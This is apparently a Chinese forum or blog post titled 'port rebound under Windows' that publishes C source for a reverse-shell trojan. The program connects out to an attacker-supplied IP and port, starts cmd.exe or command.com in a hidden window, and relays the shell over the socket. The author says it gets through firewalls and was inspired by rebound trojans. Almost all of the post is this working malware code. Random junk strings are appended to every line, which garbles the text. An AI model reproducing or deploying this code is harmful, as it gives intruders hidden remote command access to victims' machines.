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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YF+n b.0.  
\~LQ%OM  
/* ============================== sA gKg=)  
Rebound port in Windows NT kdb(I@6  
By wind,2006/7 F4<O2!V  
===============================*/ ?<G]&EK~~]  
#include e/->_T(I  
#include -P&6L\V  
Lm@vXgMD  
#pragma comment(lib,"wsock32.lib") "V&+7"Q  
`"qP  
void OutputShell(); 0 IQ'3_  
SOCKET sClient; {.yStB. T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^$&k5e/}C  
rDm'Z>nTf  
void main(int argc,char **argv) ?$e9<lsQq)  
{ `DT3x{}_S  
WSADATA stWsaData; 8k(P,o  
int nRet; )xb|3&+W  
SOCKADDR_IN stSaiClient,stSaiServer; Rb(SBa  
>J|]moSVA  
if(argc != 3) a_h]?5 :c  
{  [ `]4P&  
printf("Useage:\n\rRebound DestIP DestPort\n"); $9S(_xdI&  
return; Y?ez9o:/#  
} Rq[ M29  
Q,&/V_  
WSAStartup(MAKEWORD(2,2),&stWsaData); e^ lWR]v  
]v#r4Ert  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c1%H4j4/  
CRbdAqofV  
stSaiClient.sin_family = AF_INET; fX jG5Tv  
stSaiClient.sin_port = htons(0); w '3#&k+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gKOOHUCb  
,;M4jc {  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nenU)*o  
{ ~EK'&Y"1  
printf("Bind Socket Failed!\n"); O5H9Y}i]  
return; hDV20&hq  
} :>itXD!  
*6 _tQ9G  
stSaiServer.sin_family = AF_INET; PvGDTYcKp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Jvun?J m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tDr#H!2 3  
K-&V,MI  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZNYH#mJX*  
{ p$ bnK]  
printf("Connect Error!"); E9V 5$  
return; B75k^ohfj  
} M)sZSH.<O  
OutputShell(); 3pmWDG6L  
} KFa_  
1xv8gC:6  
void OutputShell() 0@2mXO9f"  
{ !~Q2|r  
char szBuff[1024]; %%cHoprDa  
SECURITY_ATTRIBUTES stSecurityAttributes; y^7}oH _  
OSVERSIONINFO stOsversionInfo; vP+@z-O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n]dL?BJ  
STARTUPINFO stStartupInfo; pH`44KAuM  
char *szShell; @-OnHE  
PROCESS_INFORMATION stProcessInformation; KRjV}\}  
unsigned long lBytesRead; 4e;QiTj  
J<Pw+6B~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QM?#{%31  
&sF^Fgg{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r!,}Z=cGe  
stSecurityAttributes.lpSecurityDescriptor = 0; fvb=#58N_  
stSecurityAttributes.bInheritHandle = TRUE; tl'n->G>v  
C{2xHd/*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oA1a/[#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w1;hy"zPsj  
"(qw-kil  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fABe  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ." $  
stStartupInfo.wShowWindow = SW_HIDE; jF[ 1za  
stStartupInfo.hStdInput = hReadPipe; U\rh[0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y,pZTlE  
N?X~w <  
GetVersionEx(&stOsversionInfo); .5!t:FPOv  
gl).cIpw  
switch(stOsversionInfo.dwPlatformId) Et_V,s<|  
{ 0|; .6\  
case 1: K!,<7[MBg  
szShell = "command.com"; +{]xtQB=,{  
break; xAggn  
default: % >;#9"O4  
szShell = "cmd.exe"; XR!us/U`a  
break; n<B<93f/  
} /pp1~r.s?>  
j1 =`|  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cwV]!=RtO  
UJs$q\#RO  
send(sClient,szMsg,77,0);  JMdPwI  
while(1) r < cVp^  
{ 3Tq\BZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^9-&o  
if(lBytesRead) X>?b#Eva  
{ n&A'C\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^T~gEv  
send(sClient,szBuff,lBytesRead,0); CIVnCy z  
} -l}IZY  
else /s];{m|>  
{ >&!RWH9*q  
lBytesRead=recv(sClient,szBuff,1024,0); vy,&N^P  
if(lBytesRead<=0) break; $)H@|< K  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,YhdY 6  
} Cye$H9 2  
} ={?v Ab:  
7H>@iI"?  
return; n[YEOkiG  
}
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